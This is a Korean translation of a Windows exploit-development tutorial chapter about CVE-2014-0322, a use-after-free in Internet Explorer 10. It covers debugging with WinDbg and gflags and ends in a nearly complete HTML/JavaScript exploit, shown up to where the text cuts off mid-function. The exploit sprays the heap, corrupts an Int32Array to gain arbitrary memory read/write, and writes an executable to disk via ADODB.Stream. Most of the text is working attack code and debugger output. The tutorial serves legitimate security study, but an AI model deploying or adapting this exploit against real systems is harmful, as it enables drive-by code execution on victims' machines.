티스토리 뷰

본 문서는 원문 저자인 Massimiliano Tomassoli의 허락 하에 번역이 되었으며, 원문과 관련된 모든 저작물에 대한 저작권은 원문 저자인 Massimiliano Tomassoli에 있음을 밝힙니다. 


http://expdev-kiuhnm.rhcloud.com



최신 윈도우즈 익스플로잇 개발 17. IE 10 (Use-After-Free bug)


hackability.kr (김태범)

hackability_at_naver.com or ktb88_at_korea.ac.kr

2016.07.22



지금까지는 WinDbg를 이용하여 Int32Array의 크기를 수정함으로써 IE 프로세스의 전체 주소 공간에 대해 읽고 쓰기를 할 수 있었습니다. 이제는 UAF 를 이용하여 우리의 익스플로잇 코드를 완성 시킬 시간입니다.

 

저는 여기서 CVE-2014-0322 UAF 를 선택했습니다. 구글링을 통해 추가적인 정보를 얻으실 수 있습니다. 아래는 충돌이 발생하는 POC 입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!-- CVE-2014-0322 -->
<html>
<head>
</head>
<body>
<script>
function handler() {
  this.outerHTML = this.outerHTML;
}
 
function trigger() {
    var a = document.getElementsByTagName("script")[0];
    a.onpropertychange = handler;
    var b = document.createElement("div");
    b = a.appendChild(b);
}
 
trigger();
</script>
</body>
</html>
cs


위 코드를 HTML 파일에 복사한뒤 IE 10에서 구동시킵니다. 근데 IE 에서 충돌이 발생하지 않습니다. 왜 그럴까요?



GFlags


WinDbg가 있는 디렉토리에 gflags.exe 라는 프로그램이 있습니다. 이 프로그램은 윈도우즈의 전역 플래그를 변경할 때 사용되는 프로그램 입니다. 이 플래그들은 윈도우즈의 행위에 영향을 주게되어 디버깅 시 굉장히 유용하게 사용됩니다. 여기서는 특히 아래 2개의 플래그를 사용합니다.

 

1. HPA - Heap Page Allocator

2. UST - User mode Stack Trace

 

HPA 플래그는 윈도우즈로 하여금 특별한 버전의 힙 할당자를 사용하게 하는데 이는 UAF, 버퍼 오버플로우와 같은 버그들을 탐지하는데 유용합니다. 이는 블록의 끝을 마지막 페이지의 끝과 일치시키기 위해 각각의 블록을 연속된 페이지의 집합에 할당합니다. 할당된 블록 이후의 첫 페이지는 not present 로 마킹됩니다. 이 방법은 버퍼 오버플로우를 간단하고 효과적으로 탐지 합니다. 또한 블록이 할당 해제 되었을 때, 이를 포함한 모든 페이지들이 not present 로 마킹되는데 이는 UAF 를 쉽게 탐지할 수 있습니다.

 

다음 그림을 보시기 바랍니다.



페이지는 0x1000 바이트 = 4 KB 입니다. 만약 할당된 블록이 4 KB보다 작게 할당된다면 이 크기는 다음과 같은 간단한 공식으로 결정할 수 있습니다.


size(addr) = 0x1000 - (addr & 0xfff)


블록이 페이지의 마지막에 할당되기 때문에 이 공식이 성립합니다. 아래 그림을 보시기 바랍니다.



두 번째 플래그는 UST 로써, 이는 윈도우즈로 하여금 힙 블록이 할당되었든 해제되었든 관계 없이 현재 스택의 스택 트레이스를 저장하게끔 합니다. 이는 어떤 함수나 실행 경로에서 특정 할당 또는 해제가 이루어졌는지 보기에 유용합니다. 앞으로 UAF 버그를 분석하면서 관련 예제를 보도록 하겠습니다.

 

전역 플래그들은 전역적 또는 이미지 파일기준으로 변경 될 수 있습니다. 여기서 우리는 iexplorer.exe HPA 플래그와 UST 플래그를 설정합니다.

 

먼저, gflags.exe를 실행하고 Image File 탭으로 간 뒤, 이미지 명을 넣고 위 2개의 플래그를 선택합니다.




충돌 발생시키기


이제 IE 에서 POC를 불러오면 충돌이 발생되어야 합니다. WinDbg에서 IE를 디버깅 하면서 이 과정을 진행하면 아래와 같은 예외를 볼 수 있습니다.


6b900fc4 e83669e6ff      call    MSHTML!CTreePos::SourceIndex (6b7678ff)

6b900fc9 8d45a8          lea     eax,[ebp-58h]

6b900fcc 50              push    eax

6b900fcd 8bce            mov     ecx,esi

6b900fcf c745a804000000  mov     dword ptr [ebp-58h],4

6b900fd6 c745c400000000  mov     dword ptr [ebp-3Ch],0

6b900fdd c745ac00000000  mov     dword ptr [ebp-54h],0

6b900fe4 c745c028000000  mov     dword ptr [ebp-40h],28h

6b900feb c745b400000000  mov     dword ptr [ebp-4Ch],0

6b900ff2 c745b000000000  mov     dword ptr [ebp-50h],0

6b900ff9 c745b8ffffffff  mov     dword ptr [ebp-48h],0FFFFFFFFh

6b901000 c745bcffffffff  mov     dword ptr [ebp-44h],0FFFFFFFFh

6b901007 e80162e6ff      call    MSHTML!CMarkup::Notify (6b76720d)

6b90100c ff4678          inc     dword ptr [esi+78h]  ds:002b:0e12dd38=????????     <---------------------

6b90100f 838e6001000004  or      dword ptr [esi+160h],4

6b901016 8bd6            mov     edx,esi

6b901018 e8640b0600      call    MSHTML!CMarkup::UpdateMarkupContentsVersion (6b961b81)

6b90101d 8b8698000000    mov     eax,dword ptr [esi+98h]

6b901023 85c0            test    eax,eax

6b901025 7416            je      MSHTML!CMarkup::NotifyElementEnterTree+0x297 (6b90103d)

6b901027 81bea4010000905f0100 cmp dword ptr [esi+1A4h],15F90h

6b901031 7c0a            jl      MSHTML!CMarkup::NotifyElementEnterTree+0x297 (6b90103d)

6b901033 8b4008          mov     eax,dword ptr [eax+8]

6b901036 83a0f0020000bf  and     dword ptr [eax+2F0h],0FFFFFFBFh

6b90103d 8d7dd8          lea     edi,[ebp-28h]


보아하니 ESI danling pointer 인 것 같습니다.

 

스택 트레이스를 보면 다음과 같습니다.


0:007> k 10

ChildEBP RetAddr  

0a10b988 6b90177b MSHTML!CMarkup::NotifyElementEnterTree+0x266

0a10b9cc 6b9015ef MSHTML!CMarkup::InsertSingleElement+0x169

0a10baac 6b901334 MSHTML!CMarkup::InsertElementInternalNoInclusions+0x11d

0a10bad0 6b9012f6 MSHTML!CMarkup::InsertElementInternal+0x2e

0a10bb10 6b901393 MSHTML!CDoc::InsertElement+0x9c

0a10bbd8 6b7d0420 MSHTML!InsertDOMNodeHelper+0x454

0a10bc50 6b7d011c MSHTML!CElement::InsertBeforeHelper+0x2a8

0a10bcb4 6b7d083c MSHTML!CElement::InsertBeforeHelper+0xe4

0a10bcd4 6b7d2de4 MSHTML!CElement::InsertBefore+0x36

0a10bd60 6b7d2d01 MSHTML!CElement::Var_appendChild+0xc7

0a10bd90 0c17847a MSHTML!CFastDOM::CNode::Trampoline_appendChild+0x55

0a10bdf8 0c176865 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x185

0a10bf94 0c175cf5 jscript9!Js::InterpreterStackFrame::Process+0x9d4

0a10c0b4 09ee0fe1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305

WARNING: Frame IP not in any known module. Following frames may be wrong.

0a10c0c0 0c1764ff 0x9ee0fe1

0a10c254 0c175cf5 jscript9!Js::InterpreterStackFrame::Process+0x1b57


객체 (지금 해제된)의 크기를 구해보도록 하겠습니다.


0:007> ? 1000 - (@esi & fff)

Evaluate expression: 832 = 00000340


물론, 여기서는 객체의 크기가 0x1000 바이트 보다 작다고 가정합니다. 아래는 해당 스택 트레이스에 대한 내용입니다.


0:007> !heap -p -a @esi

    address 0e12dcc0 found in

    _DPH_HEAP_ROOT @ 141000

    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)

                                    e2d0b94:          e12d000             2000

    733990b2 verifier!AVrfDebugPageHeapFree+0x000000c2

    772b1564 ntdll!RtlDebugFreeHeap+0x0000002f

    7726ac29 ntdll!RtlpFreeHeap+0x0000005d

    772134a2 ntdll!RtlFreeHeap+0x00000142

    74f414ad kernel32!HeapFree+0x00000014

    6b778f06 MSHTML!CMarkup::`vector deleting destructor'+0x00000026

    6b7455da MSHTML!CBase::SubRelease+0x0000002e

    6b774183 MSHTML!CMarkup::Release+0x0000002d

    6bb414d1 MSHTML!InjectHtmlStream+0x00000716

    6bb41567 MSHTML!HandleHTMLInjection+0x00000082

    6bb3cfec MSHTML!CElement::InjectInternal+0x00000506

    6bb3d21d MSHTML!CElement::InjectTextOrHTML+0x000001a4

    6ba2ea80 MSHTML!CElement::put_outerHTML+0x0000001d      <----------------------------------

    6bd3309c MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x00000054    <---------------------

    0c17847a jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000185

    0c1792c5 jscript9!Js::JavascriptArray::GetSetter+0x000000cf

    0c1d6c56 jscript9!Js::InterpreterStackFrame::OP_ProfiledSetProperty<0,Js::OpLayoutElementCP_OneByte>+0x000005a8

    0c1ac53b jscript9!Js::InterpreterStackFrame::Process+0x00000fbf

    0c175cf5 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000305


위 내용은 ESI가 정말 danling pointer 임을 보여줍니다. 함수들의 이름으로 보아 handler 함수 내부에서 해제된 객체에 할당하는 것을 볼 수 있습니다


this.outerHTML = this.outerHTML;


이 뜻은 할당 직후 메모리에서 기존의 객체에 새로운 객체로 교체하기 위한 할당을 해야 됨을 의미합니다. 우리는 exploitme5 에서 UAF 버그가 어떻게 익스플로잇 되는지 보았습니다. 여기서는 이 부분에 대해 다시 언급하지 않도록 하겠습니다.

 

여기서 우리는 해제된 객체의 크기와 동일한 새로운 객체의 할당을 해야 합니다. 이를 통해, 새로운 객체는 해제된 객체가 메모리에서 점유하고 있던 동일한 위치에 할당 될 것 입니다. 객체의 크기가 0x340 바이트라는 것을 알았기 때문에 null로 끝나는 Unicode 문자열을 만들어 줍니다. (0x340/2 – 1 = 0x19f = 415 wchars)

 

첫 번째로, 정확히 어디서 충돌이 발생됫는지 알아보도록 하겠습니다.


0:007> !address @eip


                                     

Mapping file section regions...

Mapping module regions...

Mapping PEB regions...

Mapping TEB and stack regions...

Mapping heap regions...

Mapping page heap regions...

Mapping other regions...

Mapping stack trace database regions...

Mapping activation context regions...



Usage:                  Image

Base Address:           6c4a1000

End Address:            6d0ef000

Region Size:            00c4e000

State:                  00001000    MEM_COMMIT

Protect:                00000020    PAGE_EXECUTE_READ

Type:                   01000000    MEM_IMAGE

Allocation Base:        6c4a0000

Allocation Protect:     00000080    PAGE_EXECUTE_WRITECOPY

Image Path:             C:\Windows\system32\MSHTML.dll

Module Name:            MSHTML

Loaded Image Name:      C:\Windows\system32\MSHTML.dll

Mapped Image Name:      

More info:              lmv m MSHTML

More info:              !lmi MSHTML

More info:              ln 0x6c6c100c

More info:              !dh 0x6c4a0000



0:007> ? @eip-mshtml

Evaluate expression: 2232332 = 0022100c


mshtml + 0x22100c의 위치에서 예외가 발생되었습니다. WinDbg IE를 종료하고 다시 실행 시킨 뒤에 IE에서 POC를 열고 충돌이 발생된 지점에 breakpoint를 설정합니다.


bp mshtml + 0x22100c


IE 에서 차단된 콘텐츠 허용을 하시면 예외가 발생되기 직전에 breakpoint가 실행됩니다. 이 방법은 간단하지만 항상 이런식으로 찾을 수 있는 것은 아닙니다. 때때로 동일한 코드가 예외가 발생되기 전에 수백 번씩 실행되곤 합니다...

 

이제 적절한 크기의 객체를 할당해보도록 하겠습니다. 아래는 POC 입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!-- CVE-2014-0322 -->
<html>
<head>
</head>
<body>
<script>
function handler() {
  this.outerHTML = this.outerHTML;
  elem = document.createElement("div");
  elem.className = new Array(416).join("a");        // Nice trick to generate a string with 415 "a"
}
 
function trigger() {
    var a = document.getElementsByTagName("script")[0];
    a.onpropertychange = handler;
    var b = document.createElement("div");
    b = a.appendChild(b);
}
 
trigger();
</script>
</body>
</html>
cs


415개의 “a” 문자열을 생성하는 방식을 기억해두세요.

 

IE 에서 POC를 열기 전에, HPA 플래그와 UST 플래그를 비활성화 시켜야 합니다. (UST는 문제가 되진 않지만 일단 꺼둡니다.)



이제 IE에서 POC를 다시 열고 mshtml + 0x22100c breakpoint를 설정한 뒤 무슨일이 일어나는지 보도록 하겠습니다.



훌륭하군요! ESI가 우리의 객체 (“a”)를 가리키고 있고 이제 실행 흐름을 조작 할 수 있습니다. 우리의 목표는 0x0c0af01b 주소에 0x20를 쓸수 있도록 하는 것 입니다. 지금쯤이면 이 주소는 외우고 있어야 합니다.

 

아마 여기서 왜 DOM 요소의 className 속성에 문자열을 할당하는지 궁금하실 겁니다


var str = new Array(416).join("a");


elem.className에 문자열을 할당할 시, 문자열이 복사되고 이 복사본은 DOM 요소의 속성에 할당됩니다. 이는 문자열의 복사본이 UAF 버그에 의해 해제된 객체와 동일한 힙에 할당 됨을 알 수 있습니다. 단순히 ArrayBuffer 0x340바이트 할당을 해보시면 ArrayBuffer raw 버퍼가 다른 힙에 할당되어 동작하지 않는 것을 확인하실 수 있습니다.



실행 흐름 조작


다음 과정으로는 충돌 지점으로부터 임의 주소에 쓰기를 할 수 있는 적절한 명령어를 찾는 것 입니다. 다시 말하지만 IDA를 사용 할 것 입니다. IDA가 얼마나 유용한지는 아무리 강조해도 지나치지 않습니다.

 

우리는 mshtml + 0x22100c에서 충돌이 발생되었음을 알았습니다. 따라서, mshtml.dll 라이브러리에 대해 디스어셈블을 할 필요가 있습니다. 경로를 찾아보도록 하겠습니다.


0:016> lmf m mshtml

start    end        module name

6b6e0000 6c491000   MSHTML   C:\Windows\system32\MSHTML.dll


IDA 에서 해당 .dll을 열고 마이크로소프트 서버에서 심볼들을 불러오는 것을 허용하시기 바랍니다. View -> Open subviews -> Segments로 이동하면 mshtml의 기본 주소를 알 수 있습니다.



보시다시피, 기본 주소는 0x63580000 입니다. 이제 Program Segmentation 탭을 닫고 g를 눌러 0x63580000 + 0x22100c를 입력하면 충돌 지점을 확인하실 수 있습니다.

 

분석을 시작해보도록 하겠습니다.



우리가 할당한 문자열은 null wchars를 갖을 수 없기 때문에 [esi + 98h]의 값은 0이 아닙니다. 이러한 이유로 실행 흐름은 [esi + 1a4h] 15f90h를 비교하는 두 번째 노드로 가게 됩니다. 세 번째 노드를 무시하기 위해 [esi + 1a4h] 11111h로 만들어 충돌은 쉽게 피할 수 있지만 [eax + 2f0h]에 쓰기 위해 뭔가 작업이 필요합니다.



위 그림으로 설명이 충분합니다. 이것을 이해하기 위해 중요한 부분이 있습니다. 0xc0af000에있는Int32Array의 크기를 조작하고 싶지만 아직 해당 주소의 값을 조작할 수 없습니다. 하지만 주소 0xc0af01c Int32Array와 연관된 raw 버퍼의 주소임을 알 고 있습니다. 우리는 raw 버퍼의 주소는 모르지만 0xc0af01c의 주소는 찾을 수 있습니다. 이제 raw 버퍼의 오프셋 1c0h 0이 되도록 합니다. 하지만, raw 버퍼는 0x58 바이트 입니다. 기억할 것이, raw 버퍼는 LargeHeapBlock의 크기와 동일해야 하기 때문에 더 크게 할당을 할 수 없다는 점 입니다. 이를 해결하기 위한 간단한 방법으로는 더 많은 raw 버퍼를 할당하는 것 입니다.

 

메모리 배치에 대해 정리를 해보도록 하겠습니다.


Object size = 0x340 = 832

offset: value

   94h: 0c0af010h

        (X = [obj_addr+94h] = 0c0af010h ==> Y = [X+0ch] = raw_buf_addr ==> [Y+1c0h] is 0)

  0ach: 0c0af00bh

        (X = [obj_addr+0ach] = 0c0af00bh ==> inc dword ptr [X+10h] ==> inc dword ptr [0c0af01bh])

  1a4h: 11111h

        (X = [obj_addr+1a4h] = 11111h < 15f90h)


html 파일의 몇몇 부분을 수정해야 합니다.

 

먼저, UAF 버그를 발생시키는 것과 실행 흐름을 조작할 수 있는 코드를 추가합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function getFiller(n) {
return new Array(n+1).join("a");
}
 
function getDwordStr(val) {
return String.fromCharCode(val % 0x10000, val / 0x10000);
}
 
function handler() {
this.outerHTML = this.outerHTML;
 
// Object size = 0x340 = 832
// offset: value
//    94h: 0c0af010h
//         (X = [obj_addr+94h] = 0c0af010h ==> Y = [X+0ch] = raw_buf_addr ==> [Y+1c0h] is 0)
//   0ach: 0c0af00bh
//         (X = [obj_addr+0ach] = 0c0af00bh ==> inc dword ptr [X+10h] ==> inc dword ptr [0c0af01bh])
//   1a4h: 11111h
//         (X = [obj_addr+1a4h] = 11111h < 15f90h)
elem = document.createElement("div");
elem.className = getFiller(0x94/2+ getDwordStr(0xc0af010+
                 getFiller((0xac - (0x94 + 4))/2+ getDwordStr(0xc0af00b+
                 getFiller((0x1a4 - (0xac + 4))/2+ getDwordStr(0x11111+
                 getFiller((0x340 - (0x1a4 + 4))/2 - 1);        // -1 for string-terminating null wchar
}
 
function trigger() {
  var a = document.getElementsByTagName("script")[0];
  a.onpropertychange = handler;
  var b = document.createElement("div");
  b = a.appendChild(b);
}
cs


다음으로, 전에 설명했듯이, 4개의 ArrayBuffer를 생성합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
= new Array();
 
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte LargeHeapBlock
// .
// .
// .
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte ArrayBuffer (buf)
// 8-byte header | 0x58-byte ArrayBuffer (buf2)
// 8-byte header | 0x58-byte ArrayBuffer (buf3)
// 8-byte header | 0x58-byte ArrayBuffer (buf4)
// 8-byte header | 0x58-byte ArrayBuffer (buf5)
// 8-byte header | 0x58-byte LargeHeapBlock
// .
// .
// .
for (i = 0; i < 0x300++i) {
  a[i] = new Array(0x3c00);
  if (i == 0x100) {
    buf = new ArrayBuffer(0x58);        // must be exactly 0x58!
    buf2 = new ArrayBuffer(0x58);       // must be exactly 0x58!
    buf3 = new ArrayBuffer(0x58);       // must be exactly 0x58!
    buf4 = new ArrayBuffer(0x58);       // must be exactly 0x58!
    buf5 = new ArrayBuffer(0x58);       // must be exactly 0x58!
  }
  for (j = 0; j < a[i].length++j)
    a[i][j] = 0x123;
}
cs


ArrayBuffers 4개를 더 추가하게 되면, 첫 번째 raw buffer의 주소를 연산하기 위해 코드를 수정해야 합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// This is just an example.
// The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
// The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
// The value in parentheses, at 03c1f178+0x60+0x24, points to the following
// LargeHeapBlock.
//
// 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
// 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
// 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
// ... we added four more raw buffers ...
// 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
// 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
// 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
// 03c1f238: ...
 
// We check that the structure above is correct (we check the first LargeHeapBlocks).
// 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
var vftptr1 = int32array[0x60*5/4],
    vftptr2 = int32array[0x60*6/4],
    vftptr3 = int32array[0x60*7/4],
    nextPtr1 = int32array[(0x60*5+0x24)/4],
    nextPtr2 = int32array[(0x60*6+0x24)/4],
    nextPtr3 = int32array[(0x60*7+0x24)/4];
if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
    nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
//      alert("Error 1!");
  window.location.reload();
  return;
}  
 
buf_addr = nextPtr1 - 0x60*6;
cs


기본적으로, 기존 raw 버퍼 이후 새로운 4개의 raw 버퍼를 위해 int32array[0x60*N/4]int32array[0x60*(N+4)/4] 로 변경합니다. 또한 마지막 줄 역시 동일한 이유로


buf_addr = nextPtr1 - 0x60*2


에서


buf_addr = nextPtr1 - 0x60*(2+4)


로 변경되어야 합니다.

 

저는 작업을 진행하면서 SaveToFile에서 실패할 때가 있었는데, 이때는 페이지를 다시 불러오는 방식으로 진행했습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
function createExe(fname, data) {
  GodModeOn();
  var tStream = new ActiveXObject("ADODB.Stream");
  var bStream = new ActiveXObject("ADODB.Stream");
  GodModeOff();
  
  tStream.Type = 2;       // text
  bStream.Type = 1;       // binary
  tStream.Open();
  bStream.Open();
  tStream.WriteText(data);
  tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
  tStream.CopyTo(bStream);
  
  var bStream_addr = get_addr(bStream);
  var string_addr = read(read(bStream_addr + 0x50+ 0x44);
  write(string_addr, 0x003a0043);       // 'C:'
  write(string_addr + 40x0000005c);   // '\'
  try {
    bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
  }
  catch(err) {
    return 0;
  }
  
  tStream.Close();
  bStream.Close();
  return 1;
}
 
.
.
.
 
if (createExe(fname, decode(runcalc)) == 0) {
//      alert("SaveToFile failed");
  window.location.reload();
  return 0;
}
cs


아래는 전체 코드 입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
<html>
<head>
<script language="javascript">
  function getFiller(n) {
    return new Array(n+1).join("a");
  }
 
  function getDwordStr(val) {
    return String.fromCharCode(val % 0x10000, val / 0x10000);
  }
 
  function handler() {
    this.outerHTML = this.outerHTML;
 
    // Object size = 0x340 = 832
    // offset: value
    //    94h: 0c0af010h
    //         (X = [obj_addr+94h] = 0c0af010h ==> Y = [X+0ch] = raw_buf_addr ==> [Y+1c0h] is 0)
    //   0ach: 0c0af00bh
    //         (X = [obj_addr+0ach] = 0c0af00bh ==> inc dword ptr [X+10h] ==> inc dword ptr [0c0af01bh])
    //   1a4h: 11111h
    //         (X = [obj_addr+1a4h] = 11111h < 15f90h)
    elem = document.createElement("div");
    elem.className = getFiller(0x94/2+ getDwordStr(0xc0af010+
                     getFiller((0xac - (0x94 + 4))/2+ getDwordStr(0xc0af00b+
                     getFiller((0x1a4 - (0xac + 4))/2+ getDwordStr(0x11111+
                     getFiller((0x340 - (0x1a4 + 4))/2 - 1);        // -1 for string-terminating null wchar
  }
 
  function trigger() {
      var a = document.getElementsByTagName("script")[0];
      a.onpropertychange = handler;
      var b = document.createElement("div");
      b = a.appendChild(b);
  }
 
  (function() {
//    alert("Starting!");
    
    CollectGarbage();
 
    //-----------------------------------------------------
    // From one-byte-write to full process space read/write
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte ArrayBuffer (buf)
    // 8-byte header | 0x58-byte ArrayBuffer (buf2)
    // 8-byte header | 0x58-byte ArrayBuffer (buf3)
    // 8-byte header | 0x58-byte ArrayBuffer (buf4)
    // 8-byte header | 0x58-byte ArrayBuffer (buf5)
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    for (i = 0; i < 0x300++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x100) {
        buf = new ArrayBuffer(0x58);        // must be exactly 0x58!
        buf2 = new ArrayBuffer(0x58);       // must be exactly 0x58!
        buf3 = new ArrayBuffer(0x58);       // must be exactly 0x58!
        buf4 = new ArrayBuffer(0x58);       // must be exactly 0x58!
        buf5 = new ArrayBuffer(0x58);       // must be exactly 0x58!
      }
      for (j = 0; j < a[i].length++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead
    //   0x20:  array[0] address
    //   0x24:  array[1] address
    //   ...
    // 0xf000:  Int32Array
    // 0xf030:  Int32Array
    //   ...
    // 0xffc0:  Int32Array
    // 0xfff0:  align data
    for (; i < 0x300 + 0x400++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //            vftptr
    // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
    // 0c0af020: 03133de0                                             array_len buf_addr
    //          jsArrayBuf
    // We increment the highest byte of array_len 20 times (which is equivalent to writing 0x20).
    for (var k = 0; k < 0x20++k)
      trigger();
    
    // Now let's find the Int32Array whose length we modified.
    int32array = 0;
    for (i = 0x300; i < 0x300 + 0x400++i) {
      for (j = 0; j < 0x55++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }
    
    if (int32array == 0) {
//      alert("Can't find int32array!");
      window.location.reload();
      return;
    }
 
    // This is just an example.
    // The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
    // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
    // The value in parentheses, at 03c1f178+0x60+0x24, points to the following
    // LargeHeapBlock.
    //
    // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
    // ... we added four more raw buffers ...
    // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
    // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
    // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
    // 03c1f238: ...
 
    // We check that the structure above is correct (we check the first LargeHeapBlocks).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
    var vftptr1 = int32array[0x60*5/4],
        vftptr2 = int32array[0x60*6/4],
        vftptr3 = int32array[0x60*7/4],
        nextPtr1 = int32array[(0x60*5+0x24)/4],
        nextPtr2 = int32array[(0x60*6+0x24)/4],
        nextPtr3 = int32array[(0x60*7+0x24)/4];
    if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
//      alert("Error 1!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*6;
    
    // Now we modify int32array again to gain full address space read/write access.
    if (int32array[(0x0c0af000+0x1c - buf_addr)/4!= buf_addr) {
//      alert("Error 2!");
      window.location.reload();
      return;
    }  
    int32array[(0x0c0af000+0x18 - buf_addr)/4= 0x20000000;        // new length
    int32array[(0x0c0af000+0x1c - buf_addr)/4= 0;                 // new buffer address
 
    function read(address) {
      var k = address & 3;
      if (k == 0) {
        // ####
        return int32array[address/4];
      }
      else {
        alert("to debug");
        // .### #... or ..## ##.. or ...# ###.
        return (int32array[(address-k)/4>> k*8|
               (int32array[(address-k+4)/4<< (32 - k*8));
      }
    }
    
    function write(address, value) {
      var k = address & 3;
      if (k == 0) {
        // ####
        int32array[address/4= value;
      }
      else {
        // .### #... or ..## ##.. or ...# ###.
        alert("to debug");
        var low = int32array[(address-k)/4];
        var high = int32array[(address-k+4)/4];
        var mask = (1 << k*8- 1;  // 0xff or 0xffff or 0xffffff
        low = (low & mask) | (value << k*8);
        high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
        int32array[(address-k)/4= low;
        int32array[(address-k+4)/4= high;
      }
    }
    
    //---------
    // God mode
    //---------
    
    // At 0c0af000 we can read the vfptr of an Int32Array:
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
    jscript9 = read(0x0c0af000- 0x3b60;
    
    // Now we need to determine the base address of MSHTML. We can create an HTML
    // object and write its reference to the address 0x0c0af000-4 which corresponds
    // to the last element of one of our arrays.
    // Let's find the array at 0x0c0af000-4.
    
    for (i = 0x200; i < 0x200 + 0x400++i)
      a[i][0x3bf7= 0;
    
    // We write 3 in the last position of one of our arrays. IE encodes the number x
    // as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
    // Either we use an odd number or a valid address otherwise IE will crash in the
    // following for loop.
    write(0x0c0af000-43);
 
    leakArray = 0;
    for (i = 0x200; i < 0x200 + 0x400++i) {
      if (a[i][0x3bf7!= 0) {
        leakArray = a[i];
        break;
      }
    }
    if (leakArray == 0) {
//      alert("Can't find leakArray!");
      window.location.reload();
      return;
    }
    
    function get_addr(obj) {
